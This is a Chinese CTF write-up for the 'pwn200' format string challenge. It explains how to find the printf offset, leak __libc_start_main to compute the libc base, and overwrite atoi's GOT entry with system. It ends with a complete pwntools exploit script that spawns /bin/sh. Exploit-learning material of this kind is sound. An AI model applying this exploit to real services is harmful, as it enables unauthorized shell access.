格式化字符串漏洞网上讲的也很多,这里就不对漏洞进行解释了,直接讲怎么做题,以湖湘杯的pwn200为例子:
拿到题目先checksec,看开了什么保护

可以看到题目只开了Canary和栈不可执行,然后运行题目看看是什么效果

然后拖进ida里面分析

可以看到这里有个格式化字符串漏洞,那么我们下面就来利用它,首先用命令
objdump -d -j .plt pwne
可以看看我们可以利用的函数有什么,然后题目给了libc库,大致思路就是要从libc中找system函数,通过printf打印__libc_start_main函数这个地址,然后根据偏移计算libc的基地址,然后计算出system的实际地址,最后用fmtstr_payload(autofmt.offset, {atoi_got_addr: system_addr})把atio的地址覆盖为system的地址,就可以getshell了
0x1算出所输入格式化字符串相对于栈上的偏移量
- 暴力一点的话直接用AAAA.%p.%p.%p.%p.%p.%p.%p这样增加或者减少%.p来测试,当最后一个输出是你第一个输入的十六进制时就相当于偏移对了,所以此时的偏移为p的个数即为7

- 或者我们可以用gdb调试来找到偏移量,首先在printf这里下个断点,然后看到栈上0028的位置就是我们的输入,28/4 = 7 (32位)就是我们print_got的偏移量


-
想看栈上更多的就输入下面的命令,然后找到0140 / 7 = 35 (32位)是__libc_start_main的偏移量
stack 50

-
最快捷方便的就是写个脚本自动爆破偏移量,FmtStr是pwn自带的算出offset的函数
def exec_fmt(payload): p.recvuntil('WANT PLAY[Y/N]\n') p.sendline('Y') p.recvuntil('GET YOUR NAME:\n') p.recvuntil('\n') p.sendline(payload) info = p.recv().splitlines()[1] print "info: "+info p.sendline('10') return info autofmt = FmtStr(exec_fmt) #print autofmt.offset
0x2 通过泄漏的__libc_start_main的地址可以获得正确的libc库文件从而确定libc库内地址


从而获取到了__libc_start_main_ret的偏移进而计算基址,获得system地址,
下面是exp
from pwn import *
debug = False
local = True
x86 = True
if debug:
context.log_level = 'debug'
else:
context.log_level = 'info'
if x86:
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
else:
libc = ELF('x86_64-linux-gnu/libc.so.6')
if local:
p = process('./pwne')
else:
p = remote('baidu.com',1000)
def base_addr(prog_addr,offset):
return eval(prog_addr)-offset
def exec_fmt(payload):
p.recvuntil('WANT PLAY[Y/N]\n')
p.sendline('Y')
p.recvuntil('GET YOUR NAME:\n')
p.recvuntil('\n')
p.sendline(payload)
info = p.recv().splitlines()[1]
print "info: "+info
p.sendline('10')
return info
autofmt = FmtStr(exec_fmt)
#print autofmt.offset
p.close()
p = process('./pwne')
elf = ELF('./pwne')
atoi_got = elf.got['atoi']
print "atoi_got: ",hex(atoi_got)
system_offset = libc.symbols['system']
print "system_offset: ",hex(system_offset)
libc_start_offset = libc.symbols['__libc_start_main']
print "libc_start_offset: ",hex(libc_start_offset)
payload1 = "%35$p"
p.recvuntil('[Y/N]\n')
p.sendline('Y')
p.recvuntil('GET YOUR NAME:\n\n')
p.sendline(payload1)
libc_start_addr = p.recv().splitlines()[1]
print "libc_start_addr: ",libc_start_addr
libc_module = base_addr(libc_start_addr,0x18637)
system_addr = libc_module + system_offset
print "system_addr: ",hex(system_addr)
p.sendline("11")
payload2 = fmtstr_payload(autofmt.offset,{atoi_got:system_addr})
p.recvuntil('[Y/N]\n')
p.sendline('Y')
p.recvuntil('GET YOUR NAME:\n\n')
p.sendline(payload2)
p.recv()
p.sendline('/bin/sh')
p.interactive()

网友评论